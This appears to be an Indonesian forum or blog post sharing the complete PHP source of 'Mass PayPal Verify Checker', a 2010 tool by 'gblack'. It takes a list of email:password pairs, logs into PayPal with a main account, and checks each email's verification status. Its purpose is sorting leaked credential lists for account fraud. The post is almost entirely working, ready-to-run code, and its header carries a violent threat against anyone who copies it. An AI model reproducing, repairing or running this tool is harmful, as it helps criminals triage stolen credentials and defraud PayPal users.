Tools ini di dapat dari teman yang memakai nick GbLack, silahkan dipakai tapi ingat hargai sang pembuat ya, karena memank itulah bentuk penghargaan atas tools yg telah dia buat dengan akal dan pikiran nya sendiri... :)
here the code :
<?php
/**********************************************************************
* *
* Script name : Mass PayPal Verify Checker *
* Info : A little scipt to check email:passwords list for *
* PayPal account whether the email is verified by *
* PayPal or not. This is not login validity checker! *
* Coded with : Notepad++ v5.4.5 (UNICODE) *
* Coder : gblack a.k.a biadabz *
* Thxz & Greetz : Dewi Jack XShadow inc0mp13te mywisdom t3cm4n bejamz *
* Vrs-hCk YaDoY666 s4va and You *
* Skid warning : Don't ever rip my code or i will kill your mama! *
* *
**********************************************************************/
set_time_limit(0);
?>
<html>
<head>
<title>Mass PayPal Verify Checker by gblack</title>
<style>
body {
background-color: #FFFFFF;
color: #000000;
font-family: "Courier New";
font-size: 11px;
}
textarea {
background-color: #FFFFFF;
border: 1px solid;
border-color: #000000;
color: #000000;
font-family: "Courier New";
font-size: 11px;
}
input,select {
background-color: #FFFFFF;
border: 1px solid;
border-color: #000000;
color: #000000;
font-family: "Courier New";
font-size: 11px;
}
</style>
</head>
<body>
<img src="https://www.paypal.com/en_US/i/logo/paypal_logo.gif"><h2>Mass PayPal Verify Checker by gblack</h2>
<form name="data" method="post">
<textarea name="lists" class="input" cols="37" rows="15">admin@paypal.com:password</textarea><br>
Email: <input type="text" name="login" size="20"><br>
Passw: <input type="password" name="passw" size="20"><br><br>
<input type="submit" value="Check now!">
</form>
<?php
if($_POST['lists']) {
$mainz = "https://www.paypal.com/";
$login = trim($_POST['login']);
$passw = trim($_POST['passw']);
if(file_exists(getcwd().'/cookie.txt')) {
unlink(getcwd().'/cookie.txt');
}
$lists = split("\n", $_POST['lists']);
$a = new cURL();
$b = $a->get($mainz."/cgi-bin/webscr?cmd=_login-run");
preg_match("/dispatch=(.*?)\">/", $b, $dispatch);
$dispatch = $dispatch[1];
$c = new cURL();
$d = $c->post($mainz."/cgi-bin/webscr?cmd=_login-submit&dispatch=".$dispatch, "login_email=".$login."&login_password=".$passw."&target_page=0&submit.x=Log+In");
if(preg_match("/<h2 class=\"accessAid\">Logging in<\/h2>/", $d)) {
preg_match("/login_access=(.*)\">/", $d, $access);
$access = $access[1];
print "<b>[+] Main account has been logged in...<br>";
print "[+] There are ".count($lists)." to be checked for verfication...</b><br><br>";
flush();
$e = new cURL();
$f = $e->get($mainz."/cgi-bin/webscr?cmd=_login-done&login_access=".$access);
for($x = 0;$x < count($lists);$x++) {
print "[".($x+1)."] ".$lists[$x];
list($email, $password) = split(":", $lists[$x]);
flush();
$g = new cURL();
$h = $g->get($mainz."/cgi-bin/webscr?cmd=_seal-entry&pal=".$email);
if(preg_match("/<span class=\"inlineRed\">/", $h)) {
print "<font color='red'> - Not verified!</font>";
flush();
} else {
print "<font color='green'>";
if(preg_match("/<td class=\"emphasis\">/", $h)) {
$i = preg_split("/<td class=\"emphasis\">/", $h);
foreach($i as $j) {
preg_match("/(.*)<\/td>/", $j, $k);
print $k[1]." - ";
}
print "Good!</font>";
flush();
} else {
print "<font color='red'><br><br><b>[!] Error, access to this page is limited, try to change the main account!</b></font>";
exit;
}
}
print "<br>";
flush();
}
} else {
print "<font color='red'><b>[!] Error logging in the main account!</b></font>";
}
}
// Taken from somewhere else, with a bit modification ;)
class cURL {
var $callback = false;
function setCallback($func_name) {
$this->callback = $func_name;
}
function doRequest($method, $url, $vars) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
if ($method == 'POST') {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
}
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
if ($this->callback) {
$callback = $this->callback;
$this->callback = false;
return call_user_func($callback, $data);
} else {
return $data;
}
} else {
return curl_error($ch);
}
}
function get($url) {
return $this->doRequest('GET', $url, 'NULL');
}
function post($url, $vars) {
return $this->doRequest('POST', $url, $vars);
}
}
?>
<hr>
<b>Coded [c] 2010 by gblack</b>
</body>
</html>